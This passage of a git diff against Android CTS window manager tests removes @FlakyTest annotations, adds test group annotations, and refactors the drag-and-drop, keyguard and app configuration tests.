+    private void clickCloseAppOnAnrDialog() {
+        // Find anr dialog and kill app
+        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        UiObject2 closeAppButton = uiDevice.wait(Until.findObject(By.res("android:id/aerr_close")),
+                20000);
+        if (closeAppButton != null) {
+            Log.d(TAG, "found permission dialog after searching all windows, clicked");
+            closeAppButton.click();
+            return;
+        }
+        fail("Could not find anr dialog");
+    }
+
+    private void startUnresponsiveActivity(String delayTypeExtra, boolean waitForCompletion) {
+        String flags = waitForCompletion ? " -W -n " : " -n ";
+        String startCmd = "am start" + flags + UNRESPONSIVE_ACTIVITY.flattenToString() +
+                " --ei " + delayTypeExtra + " 30000";
+        executeShellCommand(startCmd);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index d6489a8..ce2a776 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -58,8 +58,6 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.SizeInfo;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Ignore;
 import org.junit.Test;
 
@@ -104,7 +102,6 @@
      * from docked state to fullscreen (reverse).
      */
     @Test
-    @FlakyTest(bugId = 71792393)
     public void testConfigurationUpdatesWhenResizedFromDockedStack() {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
@@ -251,16 +248,14 @@
         // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
         // will come up.
         launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
-                new WaitForValidActivityState.Builder(activityName).build());
-        final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
-                .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
 
         // Resize docked stack to fullscreen size. This will trigger activity relaunch with
         // non-empty override configuration corresponding to fullscreen size.
         separateTestJournal();
-        resizeStack(stack.mStackId, displayRect.left, displayRect.top, displayRect.width(),
-                displayRect.height());
+        final int width = displayRect.width();
+        final int height = displayRect.height();
+        resizeDockedStack(width /* stackWidth */, height /* stackHeight */,
+                width /* taskWidth */, height /* taskHeight */);
 
         // Move activity back to fullscreen stack.
         setActivityTaskWindowingMode(activityName,
@@ -276,7 +271,6 @@
      * relaunched twice and it should have same config as initial one.
      */
     @Test
-    @FlakyTest
     public void testSameConfigurationSplitFullSplitRelaunch() {
         moveActivitySplitFullSplit(TEST_ACTIVITY);
     }
@@ -285,7 +279,6 @@
      * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
      */
     @Test
-    @FlakyTest
     public void testSameConfigurationSplitFullSplitNoRelaunch() {
         moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY);
     }
@@ -295,7 +288,6 @@
      * screen.
      */
     @Test
-    @FlakyTest(bugId = 110276714)
     public void testDialogWhenLargeSplitSmall() {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
@@ -308,7 +300,7 @@
         final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
         final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
 
-        resizeStack(stack.mStackId, 0, 0, smallWidthPx, smallHeightPx);
+        resizeDockedStack(0, 0, smallWidthPx, smallHeightPx);
         mAmWmState.waitForValidState(
                 new WaitForValidActivityState.Builder(DIALOG_WHEN_LARGE_ACTIVITY)
                         .setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
@@ -320,7 +312,6 @@
      * Test that device handles consequent requested orientations and displays the activities.
      */
     @Test
-    @FlakyTest(bugId = 71875755)
     public void testFullscreenAppOrientationRequests() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
@@ -374,7 +365,6 @@
      * change to an invisible activity.
      */
     @Test
-    @FlakyTest
     public void testAppOrientationRequestConfigChanges() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
@@ -571,7 +561,6 @@
      * Also verify that occluded activity will not get config changes.
      */
     @Test
-    @FlakyTest
     public void testAppOrientationWhenRotating() throws Exception {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
@@ -660,7 +649,6 @@
      * Test that device handles moving between two tasks with different orientations.
      */
     @Test
-    @FlakyTest(bugId = 71792393)
     public void testTaskMoveToBackOrientation() {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
 
@@ -690,7 +678,6 @@
     /**
      * Test that device doesn't change device orientation by app request while in multi-window.
      */
-    @FlakyTest(bugId = 71918731)
     @Test
     public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 9662980..65b23fc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -98,7 +98,6 @@
         }
     }
 
-    @FlakyTest(bugId = 69573940)
     @Test
     public void testAssistantStackZOrder() throws Exception {
         assumeTrue(assistantRunsOnPrimaryDisplay());
@@ -189,7 +188,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 71875631)
     public void testAssistantStackFinishToPreviousApp() throws Exception {
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
@@ -200,7 +198,7 @@
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_FINISH_SELF, "true");
             mAmWmState.waitFor((amState, wmState) -> !amState.containsActivity(ASSISTANT_ACTIVITY),
-                    "Waiting for " + getActivityName(ASSISTANT_ACTIVITY) + " finished");
+                    getActivityName(ASSISTANT_ACTIVITY) + " finished");
         }
         waitForValidStateWithActivityTypeAndWindowingMode(
                 TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
@@ -214,7 +212,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 71875631)
     public void testDisallowEnterPiPFromAssistantStack() throws Exception {
         try (final AssistantSession assistantSession = new AssistantSession()) {
             assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
@@ -267,10 +264,7 @@
                     EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
-            boolean isTranslucent = mAmWmState.getAmState().isActivityTranslucent(TEST_ACTIVITY);
-            // Home should be visible if the occluding activity is translucent, else home shouldn't
-            // be visible.
-            mAmWmState.assertHomeActivityVisible(isTranslucent);
+            mAmWmState.assertHomeActivityVisible(false);
             pressBackButton();
             mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
@@ -300,7 +294,6 @@
         }
     }
 
-    @FlakyTest(bugId = 69229402)
     @Test
     public void testLaunchIntoSameTask() throws Exception {
         try (final AssistantSession assistantSession = new AssistantSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index bc84c83..8fc36e8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -46,7 +46,6 @@
 import android.server.wm.settings.SettingsSession;
 
 import androidx.annotation.IntDef;
-import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -119,7 +118,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
     public void testRotation180RelaunchWithCutout() throws Exception {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -128,7 +126,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
     public void testRotation180NoRelaunchWithCutout() throws Exception {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -141,7 +138,6 @@
      * reverse-landscape rotations should result in same screen space available for apps.
      */
     @Test
-    @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
     public void testConfigChangeWhenRotatingWithCutout() throws Exception {
         assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -320,7 +316,7 @@
                 logE("Error waiting for valid state: " + e.getMessage());
                 return false;
             }
-        }, "Waiting asset sequence number to be updated and for activity to be resumed.");
+        }, "asset sequence number to be updated and for activity to be resumed.");
 
         // Check if activity is relaunched and asset seq is updated.
         assertRelaunchOrConfigChanged(TEST_ACTIVITY, 1 /* numRelaunch */,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index 822d103..244beb0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -17,8 +17,6 @@
 package android.server.wm;
 
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
-import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_OVERSCAN;
-import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 
@@ -49,7 +47,6 @@
             "ExplicitSizeBottomRightGravity";
     static final String TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY = "ExplicitSizeTopLeftGravity";
     static final String TEST_MATCH_PARENT = "MatchParent";
-    static final String TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN = "MatchParentLayoutInOverscan";
     static final String TEST_NO_FOCUS = "NoFocus";
     static final String TEST_OVER_SIZED_DIMENSIONS = "OversizedDimensions";
     static final String TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS = "OversizedDimensionsNoLimits";
@@ -75,9 +72,6 @@
             case TEST_MATCH_PARENT:
                 testMatchParent();
                 break;
-            case TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN:
-                testMatchParentLayoutInOverscan();
-                break;
             case TEST_EXPLICIT_SIZE:
                 testExplicitSize();
                 break;
@@ -132,15 +126,6 @@
         });
     }
 
-    private void testMatchParentLayoutInOverscan() {
-        doLayoutParamTest(params -> {
-            params.width = MATCH_PARENT;
-            params.height = MATCH_PARENT;
-            params.flags |= FLAG_LAYOUT_IN_SCREEN;
-            params.flags |= FLAG_LAYOUT_IN_OVERSCAN;
-        });
-    }
-
     private void testExplicitSize() {
         doLayoutParamTest(params -> {
             params.width = 200;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 2b3abb3..52c8fee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -24,7 +24,6 @@
 import static android.server.wm.DialogFrameTestActivity.TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY;
 import static android.server.wm.DialogFrameTestActivity.TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY;
 import static android.server.wm.DialogFrameTestActivity.TEST_MATCH_PARENT;
-import static android.server.wm.DialogFrameTestActivity.TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN;
 import static android.server.wm.DialogFrameTestActivity.TEST_NO_FOCUS;
 import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS;
 import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS;
@@ -103,20 +102,6 @@
         );
     }
 
-    // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
-    // we will not be constrained to the insets and so we will be the same size
-    // as the main window main frame.
-    // TODO: b/80262496
-    // LAYOUT_IN_OVERSCAN isn't allowing windows to extend in to cutouts. We will have
-    // to revisit whether to modify the behavior, or this test.
-    @Ignore
-    @Test
-    public void testMatchParentDialogLayoutInOverscan() throws Exception {
-        doParentChildTest(TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN, (parent, dialog) ->
-                assertEquals(parent.getFrame(), dialog.getFrame())
-        );
-    }
-
     private static final int explicitDimension = 200;
 
     // The default gravity for dialogs should center them.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index f919ef3..b2f1fa8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -24,7 +24,7 @@
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.everyItem;
@@ -76,6 +76,7 @@
  *     atest CtsWindowManagerDeviceTestCases:DisplayCutoutTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class DisplayCutoutTests {
     static final Rect ZERO_RECT = new Rect();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
index 61b498d..e9baa7a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
@@ -46,6 +46,7 @@
  *     atest CtsWindowManagerDeviceTestCases:DisplaySizeTest
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class DisplaySizeTest extends ActivityManagerTestBase {
 
     /** @see com.android.server.wm.UnsupportedDisplaySizeDialog */
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index f51f0b6..adce698 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -32,7 +32,6 @@
 import android.server.wm.ActivityManagerState.ActivityDisplay;
 import android.util.Size;
 import android.view.Display;
-import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
 
@@ -43,6 +42,7 @@
  *     atest CtsWindowManagerDeviceTestCases:DisplayTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class DisplayTests extends MultiDisplayTestBase {
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java
deleted file mode 100644
index be741f3..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import android.server.wm.cts.R;
-
-public class DragDropActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.drag_drop_layout);
-    }
-}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
index 2983eb8..bd054b9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
@@ -21,12 +21,14 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.ClipData;
 import android.content.ClipDescription;
 import android.content.pm.PackageManager;
+import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
@@ -38,12 +40,10 @@
 import android.view.ViewGroup;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -54,16 +54,12 @@
 import java.util.stream.IntStream;
 
 @RunWith(AndroidJUnit4.class)
-public class DragDropTest {
+public class DragDropTest extends WindowManagerTestBase {
     static final String TAG = "DragDropTest";
 
     final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
     final UiAutomation mAutomation = mInstrumentation.getUiAutomation();
 
-    @Rule
-    public ActivityTestRule<DragDropActivity> mActivityRule =
-            new ActivityTestRule<>(DragDropActivity.class);
-
     private DragDropActivity mActivity;
 
     private CountDownLatch mStartReceived;
@@ -307,22 +303,19 @@
         });
     }
 
-    private boolean init() {
-        // Only run for non-watch devices
-        if (mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            return false;
-        }
-        return true;
+    /** Checks if device type is watch. */
+    private boolean isWatchDevice() {
+        return mInstrumentation.getTargetContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
 
     @Before
-    public void setUp() {
-        mActivity = mActivityRule.getActivity();
+    public void setUp() throws InterruptedException {
+        assumeFalse(isWatchDevice());
+        mActivity = startActivity(DragDropActivity.class);
+
         mStartReceived = new CountDownLatch(1);
         mEndReceived = new CountDownLatch(1);
-
-        // Wait for idle
-        mInstrumentation.waitForIdleSync();
     }
 
     @After
@@ -387,10 +380,6 @@
      */
     @Test
     public void testNoExtraEvents() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // Tell all views in layout to return false to all events, and log them.
             setRejectingHandlersOnTree(mActivity.findViewById(R.id.drag_drop_activity_main));
@@ -435,10 +424,6 @@
      */
     @Test
     public void testBlackHole() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // Accepting child.
             mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -483,10 +468,6 @@
      */
     @Test
     public void testEnterExit() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // The setup is same as for testBlackHole.
 
@@ -546,10 +527,6 @@
      */
     @Test
     public void testOverNowhere() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // Accepting child.
             mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -589,10 +566,6 @@
      */
     @Test
     public void testAcceptingGroupInTheMiddle() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // Set accepting handlers to the inner view and its 2 ancestors.
             mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -645,10 +618,6 @@
      */
     @Test
     public void testDrawableState() throws Exception {
-        if (!init()) {
-            return;
-        }
-
         runOnMain(() -> {
             // Set accepting handler for the inner view.
             mActivity.findViewById(R.id.inner).setOnDragListener((v, ev) -> {
@@ -689,4 +658,46 @@
             assertFalse(drawableStateContains(R.id.inner, android.R.attr.state_drag_hovered));
         });
     }
-}
\ No newline at end of file
+
+    /**
+     * Tests if window is removing, it should not perform drag.
+     */
+    @Test
+    public void testNoDragIfWindowCantReceiveInput() throws InterruptedException {
+        injectMouse5(R.id.draggable, MotionEvent.ACTION_DOWN);
+
+        runOnMain(() -> {
+            // finish activity and start drag drop.
+            View v = mActivity.findViewById(R.id.draggable);
+            mActivity.finish();
+            assertFalse("Shouldn't start drag",
+                    v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
+        });
+
+        injectMouse5(R.id.draggable, MotionEvent.ACTION_UP);
+    }
+
+    /**
+     * Tests if there is no touch down, it should not perform drag.
+     */
+    @Test
+    public void testNoDragIfNoTouchDown() throws InterruptedException {
+        // perform a click.
+        injectMouse5(R.id.draggable, MotionEvent.ACTION_DOWN);
+        injectMouse5(R.id.draggable, MotionEvent.ACTION_UP);
+
+        runOnMain(() -> {
+            View v = mActivity.findViewById(R.id.draggable);
+            assertFalse("Shouldn't start drag",
+                v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v), sLocalState, 0));
+        });
+    }
+
+    public static class DragDropActivity extends FocusableActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.drag_drop_layout);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 4eae8f1..70a5ec8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -123,12 +123,13 @@
     }
 
     public void runTestDontEnsureContrast(boolean lightBars) {
-        assumeFalse(
-                "Skipping test: automotive may not have transparent background for the status bar",
-                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
-                        FEATURE_AUTOMOTIVE));
+        assumeHasColoredBars();
         TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
+            if (isAssumptionViolated(() -> bar.checkAssumptions(mTestActivity))) {
+                continue;
+            }
+
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
 
             assertThat(bar.name + "Bar: contrast NOT requested, therefore must NOT be scrimmed.",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index b4eb07f..d2d73c5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -38,6 +38,7 @@
  *     atest CtsWindowManagerDeviceTestCases:FreeformWindowingModeTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class FreeformWindowingModeTests extends MultiDisplayTestBase {
 
     private static final int TEST_TASK_OFFSET = 20;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index f0e0b9e..81510f8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -57,6 +57,7 @@
  *     atest CtsWindowManagerDeviceTestCases:KeyguardLockedTests
  */
 @Presubmit
+@android.server.wm.annotation.Group2
 public class KeyguardLockedTests extends KeyguardTestBase {
     @Before
     @Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
index d5f7709..5ad4c01 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTestBase.java
@@ -16,16 +16,12 @@
 
 package android.server.wm;
 
-import static android.server.wm.StateLogger.logAlways;
 import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_CANCELLED;
 import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_ERROR;
 import static android.server.wm.app.Components.KeyguardDismissLoggerCallback.ENTRY_ON_DISMISS_SUCCEEDED;
 
-import static org.junit.Assert.fail;
-
 import android.app.KeyguardManager;
 import android.content.ComponentName;
-import android.os.SystemClock;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
 
 class KeyguardTestBase extends ActivityManagerTestBase {
@@ -51,14 +47,7 @@
     }
 
     private static void assertDismissCallback(ComponentName testingComponentName, String entry) {
-        for (int retry = 1; retry <= 5; retry++) {
-            if (TestJournalContainer.get(testingComponentName).extras
-                    .getBoolean(entry)) {
-                return;
-            }
-            logAlways("Waiting for " + entry + "... retry=" + retry);
-            SystemClock.sleep(500);
-        }
-        fail("Waiting for " + entry + " failed");
+        waitForOrFail(entry + " of " + testingComponentName,
+                () -> TestJournalContainer.get(testingComponentName).extras.getBoolean(entry));
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index c608991..527dc31 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -23,7 +23,6 @@
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_METHOD_ACTIVITY;
@@ -71,6 +70,7 @@
  *     atest CtsWindowManagerDeviceTestCases:KeyguardTests
  */
 @Presubmit
+@android.server.wm.annotation.Group2
 public class KeyguardTests extends KeyguardTestBase {
     class AodSession extends SettingsSession<Integer> {
         private AmbientDisplayConfiguration mConfig;
@@ -533,7 +533,7 @@
     public void testUnoccludeRotationChange() throws Exception {
 
         // Go home now to make sure Home is behind Keyguard.
-        pressHomeButton();
+        launchHomeActivity();
         try (final LockScreenSession lockScreenSession = new LockScreenSession();
              final RotationSession rotationSession = new RotationSession()) {
             lockScreenSession.gotoKeyguard();
@@ -553,7 +553,7 @@
             // The activity may not be destroyed immediately.
             mAmWmState.waitForWithWmState(
                     wmState -> !wmState.containsWindow(getWindowName(SHOW_WHEN_LOCKED_ACTIVITY)),
-                    "Waiting for " + getActivityName(SHOW_WHEN_LOCKED_ACTIVITY) + " to be removed");
+                    getActivityName(SHOW_WHEN_LOCKED_ACTIVITY) + " to be removed");
             // The {@link SHOW_WHEN_LOCKED_ACTIVITY} has gone because of {@link pressBackButton()}.
             mAmWmState.assertNotExist(SHOW_WHEN_LOCKED_ACTIVITY);
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index 797941f..88c0f26 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -43,6 +43,7 @@
  *     atest CtsWindowManagerDeviceTestCases:KeyguardTransitionTests
  */
 @Presubmit
+@android.server.wm.annotation.Group2
 public class KeyguardTransitionTests extends ActivityManagerTestBase {
 
     @Before
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
index 5513de7..b9d84d7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
@@ -54,7 +54,6 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:LayoutTests
  */
-@FlakyTest(detail = "Can be promoted to pre-submit once confirmed stable.")
 @AppModeFull(reason = "Cannot write global settings as an instant app.")
 @Presubmit
 public class LayoutTests extends WindowManagerTestBase {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
index ad3995c..9c9491c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LocationOnScreenTests.java
@@ -64,7 +64,6 @@
 
 import java.util.function.Supplier;
 
-@FlakyTest(detail = "until proven non-flaky")
 @SmallTest
 @Presubmit
 public class LocationOnScreenTests {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index 4086978..0632c4a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -141,22 +141,22 @@
         getDisplayAndWindowState(activityName, true);
 
